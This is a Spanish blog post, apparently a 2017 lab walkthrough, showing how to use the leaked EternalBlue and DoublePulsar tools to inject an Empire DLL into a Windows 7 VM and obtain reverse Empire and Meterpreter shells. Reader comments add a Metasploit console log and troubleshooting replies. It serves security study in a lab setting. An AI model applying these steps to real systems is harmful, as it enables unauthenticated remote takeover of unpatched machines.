domingo, 16 de abril de 2017

[STEP-BY-STEP] EternalBlue & DoublePulsar para obtener shell Empire/Meterpreter


Siendo sincera, tengo tantas cosas que hacer que quería sobrevivir a este leak “mirándolo de costado” viendo qué comentaban mis amigos en base a sus propios test… Claramente no pude. Empezaron a hablar de “EternalBlue EternalBlaBlaBla” y yo pensaba “malditos me van a hacer levantar no sé cuántas máquinas virtuales para probar esto” y así fue.

Como ya todos sabemos, el leak se publicó en este github:  https://github.com/misterch0c/shadowbroker así que el primer paso es descargarlo en un ambiente virtual. 
 
Vamos a hacer uso de Fuzzbunch que es el “Metasploit” de la NSA. El framework esta desarrollado en Python2.6 y utiliza una versión también antigua de PyWin32, la 212.
Entonces, podemos virtualizar un Windows XP e instalar las siguientes herramientas:
Python 2.6: https://www.python.org/download/releases/2.6/. (Agregalo a la variable PATH de Windows).
Todos son instaladores ejecutables así que “siguiente, siguiente, siguiente…”. 

Tras instalar lo necesario, podríamos abrir un cmd.exe y movernos hasta la carpeta donde descargamos el leak, puntualmente donde se encuentra el Fuzzbunch: “fb.py” (dentro de la carpeta shadowbroker-master/Windows) y ejecutar "python fb.py" pero eso no va a funcionar. El script arrojará un error de que no encuentra el directorio “ListeningPost” y esto es porque dentro del leak, dicha carpeta vino vacía y no contamos con ella. Por lo tanto, para evitar ese error, abrimos con el Notepad++ el fb.py y simplemente comentamos la línea 72, donde se intenta cargar el contenido de ListeningPost



Adicionalmente, podemos abrir el archivo Fuzzbunch.xml de la misma carpeta, y reemplazar las rutas de las líneas 19 y 24 por rutas que existan en nuestro sistema, en mi caso los dejé así:


Ahora sí, ejecutamos desde la terminal el comando "python fb.py" y tendríamos que ver a Fuzzbunch ejecutándose correctamente:



Por otro lado, necesitamos al menos una virtual con Windows 7 SP1 para impactar. En mi lab tengo un Windows 7 SP1 x64 con la IP: 192.168.1.109 que será el target y el Windows XP con Fuzzbunch en la IP 192.168.1.108 como atacante.

Cuando iniciamos Fuzzbunch se nos pregunta la IP del target, ahí indicamos la IP del Windows 7. Inmediatamente después se nos pide la IP del callback, que sería el atacante, o sea, la IP del Windows XP.



Presionamos enter para continuar y se nos pedirá indicar un nombre al proyecto, en mi caso como pueden ver en la siguiente imagen, utilicé el que ya tenía creado “eternal1”. Si no tienen ninguno, al presionar enter se les pedirá un nombre y nada más, con ese dato ya se crea la carpeta de logs para ese proyecto y Fuzzbunch quedará con la terminal en “fb>”.



El siguiente paso es seleccionar el exploit que vamos a usar, que es EternalBlue, para ello ejecutamos: use EternalBlue.



A partir de aquí, dejaremos con su configuración por default todos los parámetros que nos pregunte,  EXCEPTO el siguiente:



Ahí el modo lo cambiamos a 1.
Finalmente nos pregunta si queremos ejecutar EternalBlue, le damos “obvio, pero no te me escapes de la VM please”.




Si todo salió bien, veremos al final el mensaje “Eternalblue succeeded”. La velocidad de impacto es excelente.
El siguiente paso es aprovechar esto con DoublePulsar, para inyectar remotamente una DLL maliciosa en el sistema impactado previamente con EternalBlue.
Para crear la DLL nos mudamos para un Linux donde tengamos instalado el framework Empire: https://github.com/EmpireProject/Empire.

Paso 1: Creamos un listener que nos reciba la conexión inversa al inyectarse la DLL

 
  
La dirección de “Host” ahí es la de ese Linux, en mi caso la 192.168.1.105.

Paso 2: Creamos la DLL maliciosa



Ahora tenemos nuestra DLL maliciosa en /tmp/launcher.dll, simplemente debemos copiar esa DLL a la máquina virtual con XP para usarla con Fuzzbunch (máquina atacante).


Volviendo allí, ahora ejecutamos use DoublePulsar en la terminal de Fuzzbunch.



A partir de ahí dejaremos con el valor por defecto todos los parámetros que se nos pregunten hasta llegar a lo siguiente:



Allí vemos de seleccionar correctamente la arquitectura del Windows 7 que vamos a impactar, en mi caso es x64. Luego, lo más importante, indicar que vamos a realizar una inyección DLL; seguido a eso se nos pedirá la ruta local donde se encuentra esa DLL, la cuál, es la que generamos con Empire y ya debemos tenerla copiada en la máquina virtual atacante para usarla ahora con Fuzzbunch. El resto de los parámetros los dejamos con las configuraciones por defecto.

Finalmente se nos pregunta si deseamos ejecutar DoublePulsar...



Y si todo sale bien...


Mientras tanto en la máquina con Linux donde tenemos el listener de Empire, recibimos la conexión inversa:
 

YOU WIN!
Empire nos permite ejecutar en la máquina víctima prácticamente las mismas cosas que el meterpreter de Metasploit. Sin embargo, podemos hacer la migración desde el agente de Empire al listener de Meterpreter muy fácilmente.
 
Paso 1: Seteamos listener de meterpreter


Es importante que utilicemos el payload windows/meterpreter/reverse_httpS.


Paso 2: Utilizamos el módulo “code execution” de Empire para inyectar el meterpreter



Paso 3: Recibimos la Shell inversa de merterpreter :)



Conclusión: obtuvimos una shell de meterpreter sobre un Windows 7 SP1 x64 sin necesidad de interacción del usuario de este equipo, tan solo con conocer su IP. Esto me recordó a la facilidad con la que se obtiene el acceso a un Win XP mediante el ms08_067. El detalle, es que según el timestamp de EternalBlue, la NSA tenía esto desde el 2011.......
 
Eso es todo! Enjoy && EternalFun! ;)
Author: Sheila A. Berta.
Tw: @UnaPibaGeek.
Web: www.semecayounexploit.com


16 comentarios:

  1. Tremendo post, perfectamente explicado!
    Aplausos de pié

    ResponderEliminar
  2. yo hago eso mismo pero me sale el siguente error: lo hago desde windows 10 64bit y tengo python 3.5 mas el 2.6

    Traceback (most recent call last):
    File "C:\shadowbroker-master\windows\fb.py", line 37, in
    from fuzzbunch.edfplugin import EDFPlugin
    File "C:\shadowbroker-master\windows\fuzzbunch\edfplugin.py", line 7, in
    from plugin import Plugin
    File "C:\shadowbroker-master\windows\fuzzbunch\plugin.py", line 8, in
    import truantchild
    File "C:\shadowbroker-master\windows\fuzzbunch\truantchild.py", line 8, in
    import exma
    File "C:\shadowbroker-master\windows\fuzzbunch\exma.py", line 17, in
    _libraries['exma.dll'] = ctypes.CDLL('exma-1.dll')
    File "C:\Python26\lib\ctypes\__init__.py", line 353, in __init__
    self._handle = _dlopen(self._name, mode)
    WindowsError: [Error 193] %1 no es una aplicaci¾n Win32 vßlida

    ResponderEliminar
    Respuestas
    1. Fuzzbunch no soporta 64bits. Tienes que usar si o si un Windows x32 y python2.6.

      Saludos.

      Eliminar
  3. Simplemente sublime. Gracias por la info

    ResponderEliminar
  4. sheila una consulta, de acuerdo a la información proporcionada por https://github.com/misterch0c/shadowbroker, has probado con ESTEEMAUDIT is an RDP exploit and backdoor for Windows Server 2003 ??, gracias

    ResponderEliminar
    Respuestas
    1. Hola, no he probado ESTEMAUDIT aún, saludos!

      Eliminar
  5. Sheila tengo una duda al momento de ejecutar el EternalBlue me aparece fallido
    CORE terminated with status code 0xdf5d0036 Windows 5.1.
    Error getting output back from Core; aborting...
    Plugin failed
    Error: EternalBLue failed

    Agradesco me puedas ayudar

    ResponderEliminar
    Respuestas
    1. Eso ocurre cuando impactas con un equipo que tiene instalado el parche! saludos!

      Eliminar
  6. No conocia el blog, es exelente en todo sentido (por lo menos este articulo que es el que leí), mas tarde voy a hurgarlo mejor, muchas gracias por el aporte!.

    ResponderEliminar
  7. [*] Started reverse TCP handler on 192.168.0.100:4444
    [*] 192.168.0.104:445 - Generating Eternalblue XML data
    [*] 192.168.0.104:445 - Generating Doublepulsar XML data
    [*] 192.168.0.104:445 - Generating payload DLL for Doublepulsar
    [*] 192.168.0.104:445 - Writing DLL in /root/.wine/drive_c/eternal11.dll
    [*] 192.168.0.104:445 - Launching Eternalblue...
    [-] Error getting output back from Core; aborting...
    [-] 192.168.0.104:445 - Are you sure it's vulnerable?
    [*] 192.168.0.104:445 - Launching Doublepulsar...
    [-] 192.168.0.104:445 - Oops, something was wrong!
    [*] Exploit completed, but no session was created.

    Hola sheila, tenes idea por que no me carga el dobluepulsar y el eternalblue?
    la ruta a la carpeta deps esta bien configurada :/
    Muy buen blog es la primera que lo veo

    Saludos

    ResponderEliminar
    Respuestas
    1. Hola, puede ser por multiples cosas. Metasploit ya ha incorporado el exploit reverseado, te recomiendo utilizar ese que prescinde de los binarios.

      https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/ms17_010_eternalblue.rb

      Eliminar